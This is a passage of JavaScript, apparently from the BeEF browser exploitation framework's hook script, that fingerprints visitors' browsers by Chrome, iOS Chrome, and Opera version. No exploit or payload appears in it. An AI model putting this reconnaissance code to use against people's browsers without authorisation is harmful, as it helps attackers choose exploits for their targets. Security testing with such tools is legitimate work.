3879 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 44) ? true : false);
3880 },
3881
3882 /**
3883 * Returns true if Chrome 45.
3884 * @example: beef.browser.isC45()
3885 */
3886 isC45: function () {
3887 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 45) ? true : false);
3888 },
3889
3890 /**
3891 * Returns true if Chrome for iOS 45.
3892 * @example: beef.browser.isC45iOS()
3893 */
3894 isC45iOS: function () {
3895 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 45) ? true : false);
3896 },
3897
3898 /**
3899 * Returns true if Chrome 46.
3900 * @example: beef.browser.isC46()
3901 */
3902 isC46: function () {
3903 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 46) ? true : false);
3904 },
3905
3906 /**
3907 * Returns true if Chrome for iOS 46.
3908 * @example: beef.browser.isC46iOS()
3909 */
3910 isC46iOS: function () {
3911 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 46) ? true : false);
3912 },
3913
3914 /**
3915 * Returns true if Chrome 47.
3916 * @example: beef.browser.isC47()
3917 */
3918 isC47: function () {
3919 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 47) ? true : false);
3920 },
3921
3922 /**
3923 * Returns true if Chrome for iOS 47.
3924 * @example: beef.browser.isC47iOS()
3925 */
3926 isC47iOS: function () {
3927 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 47) ? true : false);
3928 },
3929
3930 /**
3931 * Returns true if Chrome 48.
3932 * @example: beef.browser.isC48()
3933 */
3934 isC48: function () {
3935 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 48) ? true : false);
3936 },
3937
3938 /**
3939 * Returns true if Chrome for iOS 48.
3940 * @example: beef.browser.isC48iOS()
3941 */
3942 isC48iOS: function () {
3943 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 48) ? true : false);
3944 },
3945
3946 /**
3947 * Returns true if Chrome 49.
3948 * @example: beef.browser.isC49()
3949 */
3950 isC49: function () {
3951 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 49) ? true : false);
3952 },
3953
3954 /**
3955 * Returns true if Chrome for iOS 49.
3956 * @example: beef.browser.isC49iOS()
3957 */
3958 isC49iOS: function () {
3959 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 49) ? true : false);
3960 },
3961
3962 /**
3963 * Returns true if Chrome 50.
3964 * @example: beef.browser.isC50()
3965 */
3966 isC50: function () {
3967 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 50) ? true : false);
3968 },
3969
3970 /**
3971 * Returns true if Chrome for iOS 50.
3972 * @example: beef.browser.isC50iOS()
3973 */
3974 isC50iOS: function () {
3975 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 50) ? true : false);
3976 },
3977
3978 /**
3979 * Returns true if Chrome 51.
3980 * @example: beef.browser.isC51()
3981 */
3982 isC51: function () {
3983 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 51) ? true : false);
3984 },
3985
3986 /**
3987 * Returns true if Chrome for iOS 51.
3988 * @example: beef.browser.isC51iOS()
3989 */
3990 isC51iOS: function () {
3991 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 51) ? true : false);
3992 },
3993
3994 /**
3995 * Returns true if Chrome 52.
3996 * @example: beef.browser.isC52()
3997 */
3998 isC52: function () {
3999 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 52) ? true : false);
4000 },
4001
4002 /**
4003 * Returns true if Chrome for iOS 52.
4004 * @example: beef.browser.isC52iOS()
4005 */
4006 isC52iOS: function () {
4007 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 52) ? true : false);
4008 },
4009
4010 /**
4011 * Returns true if Chrome 53.
4012 * @example: beef.browser.isC53()
4013 */
4014 isC53: function () {
4015 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 53) ? true : false);
4016 },
4017
4018 /**
4019 * Returns true if Chrome for iOS 53.
4020 * @example: beef.browser.isC53iOS()
4021 */
4022 isC53iOS: function () {
4023 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 53) ? true : false);
4024 },
4025
4026 /**
4027 * Returns true if Chrome 54.
4028 * @example: beef.browser.isC54()
4029 */
4030 isC54: function () {
4031 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 54) ? true : false);
4032 },
4033
4034 /**
4035 * Returns true if Chrome for iOS 54.
4036 * @example: beef.browser.isC54iOS()
4037 */
4038 isC54iOS: function () {
4039 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 54) ? true : false);
4040 },
4041
4042 /**
4043 * Returns true if Chrome 55.
4044 * @example: beef.browser.isC55()
4045 */
4046 isC55: function () {
4047 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 55) ? true : false);
4048 },
4049
4050 /**
4051 * Returns true if Chrome for iOS 55.
4052 * @example: beef.browser.isC55iOS()
4053 */
4054 isC55iOS: function () {
4055 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 55) ? true : false);
4056 },
4057
4058 /**
4059 * Returns true if Chrome 56.
4060 * @example: beef.browser.isC56()
4061 */
4062 isC56: function () {
4063 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 56) ? true : false);
4064 },
4065
4066 /**
4067 * Returns true if Chrome for iOS 56.
4068 * @example: beef.browser.isC56iOS()
4069 */
4070 isC56iOS: function () {
4071 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 56) ? true : false);
4072 },
4073
4074 /**
4075 * Returns true if Chrome 57.
4076 * @example: beef.browser.isC57()
4077 */
4078 isC57: function () {
4079 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 57) ? true : false);
4080 },
4081
4082 /**
4083 * Returns true if Chrome for iOS 57.
4084 * @example: beef.browser.isC57iOS()
4085 */
4086 isC57iOS: function () {
4087 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 57) ? true : false);
4088 },
4089
4090 /**
4091 * Returns true if Chrome 58.
4092 * @example: beef.browser.isC58()
4093 */
4094 isC58: function () {
4095 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 58) ? true : false);
4096 },
4097
4098 /**
4099 * Returns true if Chrome for iOS 58.
4100 * @example: beef.browser.isC58iOS()
4101 */
4102 isC58iOS: function () {
4103 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 58) ? true : false);
4104 },
4105
4106 /**
4107 * Returns true if Chrome.
4108 * @example: beef.browser.isC()
4109 */
4110 isC: function () {
4111 return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39() || this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() || this.isC42iOS() || this.isC43() || this.isC43iOS() || this.isC44() || this.isC44iOS() || this.isC45() || this.isC45iOS() || this.isC46() || this.isC46iOS() || this.isC47() || this.isC47iOS() || this.isC48() || this.isC48iOS() || this.isC49() || this.isC49iOS() || this.isC50() || this.isC50iOS() || this.isC51() || this.isC51iOS() || this.isC52() || this.isC52iOS() || this.isC53() || this.isC53iOS() || this.isC54() || this.isC54iOS() || this.isC55() || this.isC55iOS() || this.isC56() || this.isC56iOS() || this.isC57() || this.isC57iOS() || this.isC58() || this.isC58iOS();
4112 },
4113
4114 /**
4115 * Returns true if Opera 9.50 through 9.52.
4116 * @example: beef.browser.isO9_52()
4117 */
4118 isO9_52: function () {
4119 return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null));
4120 },
4121
4122 /**
4123 * Returns true if Opera 9.60 through 9.64.
4124 * @example: beef.browser.isO9_60()
4125 */
4126 isO9_60: function () {
4127 return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null));
4128 },
4129
4130 /**
4131 * Returns true if Opera 10.xx.
4132 * @example: beef.browser.isO10()
4133 */
4134 isO10: function () {
4135 return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null));
4136 },
4137
4138 /**
4139 * Returns true if Opera 11.xx.
4140 * @example: beef.browser.isO11()
4141 */
4142 isO11: function () {
4143 return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null));
4144 },
4145
4146 /**
4147 * Returns true if Opera 12.xx.
4148 * @example: beef.browser.isO12()
4149 */
4150 isO12: function () {
4151 return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./) != null));
4152 },
4153
4154 /**
4155 * Returns true if Opera.
4156 * @example: beef.browser.isO()
4157 */
4158 isO: function () {
4159 return this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12();
4160 },
4161
4162 /**
4163 * Returns a hash of string keys representing a given capability
4164 * @example: beef.browser.capabilities()["navigator.plugins"]
4165 */
4166 capabilities: function () {
4167 var out = {};
4168 var type = this.type();
4169
4170 out["navigator.plugins"] = (type.IE11 || !type.IE);
4171
4172 return out;
4173 },
4174
4175 /**
4176 * Returns the type of browser being used.
4177 * @example: beef.browser.type().IE6
4178 * @example: beef.browser.type().FF
4179 * @example: beef.browser.type().O
4180 */
4181 type: function () {
4182
4183 return {
4184 C5: this.isC5(), // Chrome 5
4185 C6: this.isC6(), // Chrome 6
4186 C7: this.isC7(), // Chrome 7
4187 C8: this.isC8(), // Chrome 8
4188 C9: this.isC9(), // Chrome 9
4189 C10: this.isC10(), // Chrome 10
4190 C11: this.isC11(), // Chrome 11
4191 C12: this.isC12(), // Chrome 12
4192 C13: this.isC13(), // Chrome 13
4193 C14: this.isC14(), // Chrome 14
4194 C15: this.isC15(), // Chrome 15
4195 C16: this.isC16(), // Chrome 16
4196 C17: this.isC17(), // Chrome 17
4197 C18: this.isC18(), // Chrome 18
4198 C19: this.isC19(), // Chrome 19
4199 C19iOS: this.isC19iOS(), // Chrome 19 on iOS
4200 C20: this.isC20(), // Chrome 20
4201 C20iOS: this.isC20iOS(), // Chrome 20 on iOS
4202 C21: this.isC21(), // Chrome 21
4203 C21iOS: this.isC21iOS(), // Chrome 21 on iOS
4204 C22: this.isC22(), // Chrome 22
4205 C22iOS: this.isC22iOS(), // Chrome 22 on iOS
4206 C23: this.isC23(), // Chrome 23
4207 C23iOS: this.isC23iOS(), // Chrome 23 on iOS
4208 C24: this.isC24(), // Chrome 24
4209 C24iOS: this.isC24iOS(), // Chrome 24 on iOS
4210 C25: this.isC25(), // Chrome 25
4211 C25iOS: this.isC25iOS(), // Chrome 25 on iOS
4212 C26: this.isC26(), // Chrome 26
4213 C26iOS: this.isC26iOS(), // Chrome 26 on iOS
4214 C27: this.isC27(), // Chrome 27
4215 C27iOS: this.isC27iOS(), // Chrome 27 on iOS
4216 C28: this.isC28(), // Chrome 28
4217 C28iOS: this.isC28iOS(), // Chrome 28 on iOS
4218 C29: this.isC29(), // Chrome 29
4219 C29iOS: this.isC29iOS(), // Chrome 29 on iOS
4220 C30: this.isC30(), // Chrome 30
4221 C30iOS: this.isC30iOS(), // Chrome 30 on iOS
4222 C31: this.isC31(), // Chrome 31
4223 C31iOS: this.isC31iOS(), // Chrome 31 on iOS
4224 C32: this.isC32(), // Chrome 32
4225 C32iOS: this.isC32iOS(), // Chrome 32 on iOS
4226 C33: this.isC33(), // Chrome 33
4227 C33iOS: this.isC33iOS(), // Chrome 33 on iOS
4228 C34: this.isC34(), // Chrome 34
4229 C34iOS: this.isC34iOS(), // Chrome 34 on iOS
4230 C35: this.isC35(), // Chrome 35
4231 C35iOS: this.isC35iOS(), // Chrome 35 on iOS
4232 C36: this.isC36(), // Chrome 36
4233 C36iOS: this.isC36iOS(), // Chrome 36 on iOS
4234 C37: this.isC37(), // Chrome 37
4235 C37iOS: this.isC37iOS(), // Chrome 37 on iOS
4236 C38: this.isC38(), // Chrome 38
4237 C38iOS: this.isC38iOS(), // Chrome 38 on iOS
4238 C39: this.isC39(), // Chrome 39
4239 C39iOS: this.isC39iOS(), // Chrome 39 on iOS
4240 C40: this.isC40(), // Chrome 40
4241 C40iOS: this.isC40iOS(), // Chrome 40 on iOS
4242 C41: this.isC41(), // Chrome 41
4243 C41iOS: this.isC41iOS(), // Chrome 41 on iOS
4244 C42: this.isC42(), // Chrome 42
4245 C42iOS: this.isC42iOS(), // Chrome 42 on iOS
4246 C43: this.isC43(), // Chrome 43
4247 C43iOS: this.isC43iOS(), // Chrome 43 on iOS
4248 C44: this.isC44(), // Chrome 44
4249 C44iOS: this.isC44iOS(), // Chrome 44 on iOS
4250 C45: this.isC45(), // Chrome 45
4251 C45iOS: this.isC45iOS(), // Chrome 45 on iOS
4252 C46: this.isC46(), // Chrome 46
4253 C46iOS: this.isC46iOS(), // Chrome 46 on iOS
4254 C47: this.isC47(), // Chrome 47
4255 C47iOS: this.isC47iOS(), // Chrome 47 on iOS
4256 C48: this.isC48(), // Chrome 48
4257 C48iOS: this.isC48iOS(), // Chrome 48 on iOS
4258 C49: this.isC49(), // Chrome 49
4259 C49iOS: this.isC49iOS(), // Chrome 49 on iOS
4260 C50: this.isC50(), // Chrome 50
4261 C50iOS: this.isC50iOS(), // Chrome 50 on iOS
4262 C51: this.isC51(), // Chrome 51
4263 C51iOS: this.isC51iOS(), // Chrome 51 on iOS
4264 C52: this.isC52(), // Chrome 52
4265 C52iOS: this.isC52iOS(), // Chrome 52 on iOS
4266 C53: this.isC53(), // Chrome 53
4267 C53iOS: this.isC53iOS(), // Chrome 53 on iOS
4268 C54: this.isC54(), // Chrome 54
4269 C54iOS: this.isC54iOS(), // Chrome 54 on iOS
4270 C55: this.isC55(), // Chrome 55
4271 C55iOS: this.isC55iOS(), // Chrome 55 on iOS
4272 C56: this.isC56(), // Chrome 56
4273 C56iOS: this.isC56iOS(), // Chrome 56 on iOS
4274 C57: this.isC57(), // Chrome 57
4275 C57iOS: this.isC57iOS(), // Chrome 57 on iOS
4276 C58: this.isC58(), // Chrome 58
4277 C58iOS: this.isC58iOS(), // Chrome 58 on iOS
4278
4279 C: this.isC(), // Chrome any version
4280
4281 FF2: this.isFF2(), // Firefox 2
4282 FF3: this.isFF3(), // Firefox 3
4283 FF3_5: this.isFF3_5(), // Firefox 3.5
4284 FF3_6: this.isFF3_6(), // Firefox 3.6
4285 FF4: this.isFF4(), // Firefox 4
4286 FF5: this.isFF5(), // Firefox 5
4287 FF6: this.isFF6(), // Firefox 6
4288 FF7: this.isFF7(), // Firefox 7
4289 FF8: this.isFF8(), // Firefox 8
4290 FF9: this.isFF9(), // Firefox 9
4291 FF10: this.isFF10(), // Firefox 10
4292 FF11: this.isFF11(), // Firefox 11
4293 FF12: this.isFF12(), // Firefox 12
4294 FF13: this.isFF13(), // Firefox 13
4295 FF14: this.isFF14(), // Firefox 14
4296 FF15: this.isFF15(), // Firefox 15
4297 FF16: this.isFF16(), // Firefox 16
4298 FF17: this.isFF17(), // Firefox 17
4299 FF18: this.isFF18(), // Firefox 18
4300 FF19: this.isFF19(), // Firefox 19
4301 FF20: this.isFF20(), // Firefox 20
4302 FF21: this.isFF21(), // Firefox 21
4303 FF22: this.isFF22(), // Firefox 22
4304 FF23: this.isFF23(), // Firefox 23
4305 FF24: this.isFF24(), // Firefox 24
4306 FF25: this.isFF25(), // Firefox 25
4307 FF26: this.isFF26(), // Firefox 26
4308 FF27: this.isFF27(), // Firefox 27
4309 FF28: this.isFF28(), // Firefox 28
4310 FF29: this.isFF29(), // Firefox 29
4311 FF30: this.isFF30(), // Firefox 30
4312 FF31: this.isFF31(), // Firefox 31
4313 FF32: this.isFF32(), // Firefox 32
4314 FF33: this.isFF33(), // Firefox 33
4315 FF34: this.isFF34(), // Firefox 34
4316 FF35: this.isFF35(), // Firefox 35
4317 FF36: this.isFF36(), // Firefox 36
4318 FF37: this.isFF37(), // Firefox 37
4319 FF38: this.isFF38(), // Firefox 38
4320 FF39: this.isFF39(), // Firefox 39
4321 FF40: this.isFF40(), // Firefox 40
4322 FF41: this.isFF41(), // Firefox 41
4323 FF42: this.isFF42(), // Firefox 42
4324 FF43: this.isFF43(), // Firefox 43
4325 FF44: this.isFF44(), // Firefox 44
4326 FF45: this.isFF45(), // Firefox 45
4327 FF46: this.isFF46(), // Firefox 46
4328 FF47: this.isFF47(), // Firefox 47
4329 FF48: this.isFF48(), // Firefox 48
4330 FF49: this.isFF49(), // Firefox 49
4331 FF50: this.isFF50(), // Firefox 50
4332 FF51: this.isFF51(), // Firefox 51
4333 FF52: this.isFF52(), // Firefox 52
4334 FF53: this.isFF53(), // Firefox 53
4335 FF: this.isFF(), // Firefox any version
4336
4337 IE6: this.isIE6(), // Internet Explorer 6
4338 IE7: this.isIE7(), // Internet Explorer 7
4339 IE8: this.isIE8(), // Internet Explorer 8
4340 IE9: this.isIE9(), // Internet Explorer 9
4341 IE10: this.isIE10(), // Internet Explorer 10
4342 IE11: this.isIE11(), // Internet Explorer 11
4343 IE: this.isIE(), // Internet Explorer any version
4344
4345 O9_52: this.isO9_52(), // Opera 9.50 through 9.52
4346 O9_60: this.isO9_60(), // Opera 9.60 through 9.64
4347 O10: this.isO10(), // Opera 10.xx
4348 O11: this.isO11(), // Opera 11.xx
4349 O12: this.isO12(), // Opera 12.xx
4350 O: this.isO(), // Opera any version
4351
4352 S4: this.isS4(), // Safari 4.xx
4353 S5: this.isS5(), // Safari 5.xx
4354 S6: this.isS6(), // Safari 6.x
4355 S7: this.isS7(), // Safari 7.x
4356 S8: this.isS8(), // Safari 8.x
4357 S: this.isS() // Safari any version
4358 }
4359 },
4360
4361 /**
4362 * Returns the type of browser being used.
4363 * @return: {String} User agent software and version.
4364 *
4365 * @example: beef.browser.getBrowserVersion()
4366 */
4367 getBrowserVersion: function () {
4368
4369 if (this.isC5()) {
4370 return '5'
4371 }
4372 ; // Chrome 5
4373 if (this.isC6()) {
4374 return '6'
4375 }
4376 ; // Chrome 6
4377 if (this.isC7()) {
4378 return '7'
4379 }
4380 ; // Chrome 7
4381 if (this.isC8()) {
4382 return '8'
4383 }
4384 ; // Chrome 8
4385 if (this.isC9()) {
4386 return '9'
4387 }
4388 ; // Chrome 9
4389 if (this.isC10()) {
4390 return '10'
4391 }
4392 ; // Chrome 10
4393 if (this.isC11()) {
4394 return '11'
4395 }
4396 ; // Chrome 11
4397 if (this.isC12()) {
4398 return '12'
4399 }
4400 ; // Chrome 12
4401 if (this.isC13()) {
4402 return '13'
4403 }
4404 ; // Chrome 13
4405 if (this.isC14()) {
4406 return '14'
4407 }
4408 ; // Chrome 14
4409 if (this.isC15()) {
4410 return '15'
4411 }
4412 ; // Chrome 15
4413 if (this.isC16()) {
4414 return '16'
4415 }
4416 ; // Chrome 16
4417 if (this.isC17()) {
4418 return '17'
4419 }
4420 ; // Chrome 17
4421 if (this.isC18()) {
4422 return '18'
4423 }
4424 ; // Chrome 18
4425 if (this.isC19()) {
4426 return '19'
4427 }
4428 ; // Chrome 19
4429 if (this.isC19iOS()) {
4430 return '19'
4431 }
4432 ; // Chrome 19 for iOS
4433 if (this.isC20()) {
4434 return '20'
4435 }
4436 ; // Chrome 20
4437 if (this.isC20iOS()) {
4438 return '20'
4439 }
4440 ; // Chrome 20 for iOS
4441 if (this.isC21()) {
4442 return '21'
4443 }
4444 ; // Chrome 21
4445 if (this.isC21iOS()) {
4446 return '21'
4447 }
4448 ; // Chrome 21 for iOS
4449 if (this.isC22()) {
4450 return '22'
4451 }
4452 ; // Chrome 22
4453 if (this.isC22iOS()) {
4454 return '22'
4455 }
4456 ; // Chrome 22 for iOS
4457 if (this.isC23()) {
4458 return '23'
4459 }
4460 ; // Chrome 23
4461 if (this.isC23iOS()) {
4462 return '23'
4463 }
4464 ; // Chrome 23 for iOS
4465 if (this.isC24()) {
4466 return '24'
4467 }
4468 ; // Chrome 24
4469 if (this.isC24iOS()) {
4470 return '24'
4471 }
4472 ; // Chrome 24 for iOS
4473 if (this.isC25()) {
4474 return '25'
4475 }
4476 ; // Chrome 25
4477 if (this.isC25iOS()) {
4478 return '25'
4479 }
4480 ; // Chrome 25 for iOS
4481 if (this.isC26()) {
4482 return '26'
4483 }
4484 ; // Chrome 26
4485 if (this.isC26iOS()) {
4486 return '26'
4487 }
4488 ; // Chrome 26 for iOS
4489 if (this.isC27()) {
4490 return '27'
4491 }
4492 ; // Chrome 27
4493 if (this.isC27iOS()) {
4494 return '27'
4495 }
4496 ; // Chrome 27 for iOS
4497 if (this.isC28()) {
4498 return '28'
4499 }
4500 ; // Chrome 28
4501 if (this.isC28iOS()) {
4502 return '28'
4503 }
4504 ; // Chrome 28 for iOS
4505 if (this.isC29()) {
4506 return '29'
4507 }
4508 ; // Chrome 29
4509 if (this.isC29iOS()) {
4510 return '29'
4511 }
4512 ; // Chrome 29 for iOS
4513 if (this.isC30()) {
4514 return '30'
4515 }
4516 ; // Chrome 30
4517 if (this.isC30iOS()) {
4518 return '30'
4519 }
4520 ; // Chrome 30 for iOS
4521 if (this.isC31()) {
4522 return '31'
4523 }
4524 ; // Chrome 31
4525 if (this.isC31iOS()) {
4526 return '31'
4527 }
4528 ; // Chrome 31 for iOS
4529 if (this.isC32()) {
4530 return '32'
4531 }
4532 ; // Chrome 32
4533 if (this.isC32iOS()) {
4534 return '32'
4535 }
4536 ; // Chrome 32 for iOS
4537 if (this.isC33()) {
4538 return '33'
4539 }
4540 ; // Chrome 33
4541 if (this.isC33iOS()) {
4542 return '33'
4543 }
4544 ; // Chrome 33 for iOS
4545 if (this.isC34()) {
4546 return '34'
4547 }
4548 ; // Chrome 34
4549 if (this.isC34iOS()) {
4550 return '34'
4551 }
4552 ; // Chrome 34 for iOS
4553 if (this.isC35()) {
4554 return '35'
4555 }
4556 ; // Chrome 35
4557 if (this.isC35iOS()) {
4558 return '35'
4559 }
4560 ; // Chrome 35 for iOS
4561 if (this.isC36()) {
4562 return '36'
4563 }
4564 ; // Chrome 36
4565 if (this.isC36iOS()) {
4566 return '36'
4567 }
4568 ; // Chrome 36 for iOS
4569 if (this.isC37()) {
4570 return '37'
4571 }
4572 ; // Chrome 37
4573 if (this.isC37iOS()) {
4574 return '37'
4575 }
4576 ; // Chrome 37 for iOS
4577 if (this.isC38()) {
4578 return '38'
4579 }
4580 ; // Chrome 38
4581 if (this.isC38iOS()) {
4582 return '38'
4583 }
4584 ; // Chrome 38 for iOS
4585 if (this.isC39()) {
4586 return '39'
4587 }
4588 ; // Chrome 39
4589 if (this.isC39iOS()) {
4590 return '39'
4591 }
4592 ; // Chrome 39 for iOS
4593 if (this.isC40()) {
4594 return '40'
4595 }
4596 ; // Chrome 40
4597 if (this.isC40iOS()) {
4598 return '40'
4599 }
4600 ; // Chrome 40 for iOS
4601 if (this.isC41()) {
4602 return '41'
4603 }
4604 ; // Chrome 41
4605 if (this.isC41iOS()) {
4606 return '41'
4607 }
4608 ; // Chrome 41 for iOS
4609 if (this.isC42()) {
4610 return '42'
4611 }
4612 ; // Chrome 42
4613 if (this.isC42iOS()) {
4614 return '42'
4615 }
4616 ; // Chrome 42 for iOS
4617 if (this.isC43()) {
4618 return '43'
4619 }
4620 ; // Chrome 43
4621 if (this.isC43iOS()) {
4622 return '43'
4623 }
4624 ; // Chrome 43 for iOS
4625 if (this.isC44()) {
4626 return '44'
4627 }
4628 ; // Chrome 44
4629 if (this.isC44iOS()) {
4630 return '44'
4631 }
4632 ; // Chrome 44 for iOS
4633 if (this.isC45()) {
4634 return '45'
4635 }
4636 ; // Chrome 45
4637 if (this.isC45iOS()) {
4638 return '45'
4639 }
4640 ; // Chrome 45 for iOS
4641 if (this.isC46()) {
4642 return '46'
4643 }
4644 ;// Chrome 46
4645 if (this.isC46iOS()) {
4646 return '46'
4647 }
4648 ; // Chrome 46 for iOS
4649 if (this.isC47()) {
4650 return '47'
4651 }
4652 ;// Chrome 47
4653 if (this.isC47iOS()) {
4654 return '47'
4655 }
4656 ; // Chrome 47 for iOS
4657 if (this.isC48()) {
4658 return '48'
4659 }
4660 ;// Chrome 48
4661 if (this.isC48iOS()) {
4662 return '48'
4663 }
4664 ; // Chrome 48 for iOS
4665 if (this.isC49()) {
4666 return '49'
4667 }
4668 ;// Chrome 49
4669 if (this.isC49iOS()) {
4670 return '49'
4671 }
4672 ; // Chrome 49 for iOS
4673 if (this.isC50()) {
4674 return '50'
4675 }
4676 ;// Chrome 50
4677 if (this.isC50iOS()) {
4678 return '50'
4679 }
4680 ; // Chrome 50 for iOS
4681 if (this.isC51()) {
4682 return '51'
4683 }
4684 ;// Chrome 51
4685 if (this.isC51iOS()) {
4686 return '51'
4687 }
4688 ; // Chrome 51 for iOS
4689 if (this.isC52()) {
4690 return '52'
4691 }
4692 ;// Chrome 52
4693 if (this.isC52iOS()) {
4694 return '52'
4695 }
4696 ; // Chrome 52 for iOS
4697 if (this.isC53()) {
4698 return '53'
4699 }
4700 ;// Chrome 53
4701 if (this.isC53iOS()) {
4702 return '53'
4703 }
4704 ; // Chrome 53 for iOS
4705 if (this.isC54()) {
4706 return '54'
4707 }
4708 ;// Chrome 54
4709 if (this.isC54iOS()) {
4710 return '54'
4711 }
4712 ; // Chrome 54 for iOS
4713 if (this.isC55()) {
4714 return '55'
4715 }
4716 ;// Chrome 55
4717 if (this.isC55iOS()) {
4718 return '55'
4719 }
4720 ; // Chrome 55 for iOS
4721 if (this.isC56()) {
4722 return '56'
4723 }
4724 ;// Chrome 56
4725 if (this.isC56iOS()) {
4726 return '56'
4727 }
